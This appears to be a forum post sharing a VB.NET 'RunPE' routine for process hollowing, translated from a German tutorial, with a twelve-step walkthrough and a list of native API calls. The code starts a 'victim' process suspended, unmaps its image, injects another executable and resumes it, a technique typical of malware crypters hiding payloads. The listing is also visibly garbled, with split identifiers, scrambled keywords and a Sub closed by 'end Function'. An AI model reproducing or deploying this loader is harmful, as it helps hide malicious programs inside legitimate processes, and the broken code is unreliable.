Code:
Sub RunPE (ByVal victim As String , ByVal executable As Byte ())
*
' We define our process information , our StartupInfo and our thread context
Dim process As information PROCESS_INFORMATION = New PROCESS_INFORMATION ()
Dim context As New CONTEXT
*
' We put the ContextFlags our future process ( in which then runs our ) application;
contex*****ntextFlags = & H10002
*
' We get on the GCHandle our application to run its modules Base and set the imageDosHeader pointer (* imageDosHeader ) on the base modules
Dim hGC As GCHandle = GCHandle.Alloc ( executable , GCHandleType.Pinned )
Dim ModuleBase As Integer = hGC.AddrOfPinnedObject
Dim imageDosHeader As IMAGE_DOS_HEADER = Marshal.PtrToStructure (New IntPtr ( ModuleBase ) imageDosHeader.GetType )
hGC.Free ()
*
' We start our victim process while reading the same information and its process startup info from
CreateProcess (Nothing , victim , New SECURITY_ATTRIBUTES , SECURITY_ATTRIBUTES New , False , 4, Nothing, Nothing , new STARTUPINFO () , process information)
*
********' We set the pointer to our struct ImageNtHeaders to the address of the module base our application to run + the offset to the beginning of IMAGE_NT_HEADERS Struct
********Dim imageNtHeaders As IMAGE_NT_HEADERS = Marshal.PtrToStructure (New IntPtr ( Module Base + imageDosHeader.e_lfanew ) imageNtHeaders.GetType )
*
********Make ' with the victim in the process space for our application
********NtUnmapViewOfSection ( processInformation.hProcess , imageNtHeaders.OptionalHeader.ImageBase )
*
********'We are secure enough space for our application ( we really only needed if the application image is larger than the process image)
********As IntPtr Dim newImageBase = VirtualAllocEx ( processInformation.hProcess , imageNtHeaders.OptionalHeader.ImageBase , imageNtHeaders.OptionalHeader.SizeOfImage , & H3000 , & H40 )
*
********' We write the header of our application in the victim process
********NtWriteVirtualMemory ( processInformation.hProcess , newImageBase , executable , imageNtHeaders.OptionalHeader.SizeOfHeaders , Nothing)
*
********' We write all sections of our application in the victim process
********For i = 0 To imageNtHeaders.FileHeader.NumberOfSections - 1
*
************Dim image section headers As IMAGE_SECTION_HEADER = Marshal.PtrToStructure (New IntPtr ( Module Base + imageDosHeader.e_lfanew + 248 + i * 40 ) , imageSectionHeaders.GetType )
*
************Dim rawData As Byte () = New Byte ( imageSectionHeaders.SizeOfRawData - 1) { }
************Buffer.BlockCopy ( executable , imageSectionHeaders.PointerToRawData , rawData , 0, rawData.Length )
*
************NtWriteVirtualMemory ( processInformation.hProcess , newImageBase + imageSectionHeaders.VirtualAddress , rawData , imageSectionHeaders.SizeOfRawData , Nothing)
*
********Next i
*
********' We get the thread context of our victim process
********NtGetContextThread ( processInformation.hThread , context)
*
********' We write the base address of our application in the PEB of the sacrificial process ( context.EBX + 8)
********NtWriteVirtualMemory ( processInformation.hProcess , context.Ebx + 8 , BitConverter.GetBytes ( newImageBase.ToInt32 ()) , 4, Nothing)
*
********' We set the entry point of the process to the entry point of our application ( EntryPoint = value of EAX )
********context.Eax = imageNtHeaders.OptionalHeader.ImageBase + imageNtHeaders.OptionalHeader.AddressOfEntryPoint
*
********' We update the thread context of the sacrificial process
********NtSetContextThread ( processInformation.hThread , context)
*
********' We let the compromised process continue
********NtResumeThread ( processInformation.hThread , 0)
*
****end Function
The original tutorial was in german, had it translated into english. VBTyp


Dynamic forking (also known as process hollowing), is a technique that allow you to execute a executable image within another process's address space. It works by creating a host process in suspended state. Then the original executable image of the process is unmapped, and then memory is allocated in the process. The injector then write the replacement executable into the allocated memory, and the eax register of the process's primary thread is set to the entry point of the replacement executable.

How it works:

1) Create the host process in suspended state using CreateProcess function.

2) Get the context of the process's primary thread. The eax register is the entry point of the process's executable, and the ebx register is the address of the process's PEB.

3) Read the base address of process's executable from the PEB.

4) Read the replacement executable from disk.

5) Unmap the executable image using NtUnmapViewOfSection function.

6) Allocate memory in the host process.

7) Write the replacement executable into host process.

8) Write the new address of the executable into the PEB.

9) Set the eax register of primary thread to the entry point of replacement executable.

10) Resume the thread.

11) The replacement executable now runs in the address space of the host process, and the injector wait for the host process to terminate.

12) After the host process terminates, the injector exits.

Native API functions used:

1) NtUnmapViewOfSection
2) NtReadVirtualMemory
3) NtWriteVirtualMemory
4) NtGetContextThread
5) NtSetContextThread
6) NtResumeThread
7) NtWaitForSingleObject
8) NtClose
9) NtTerminateProcess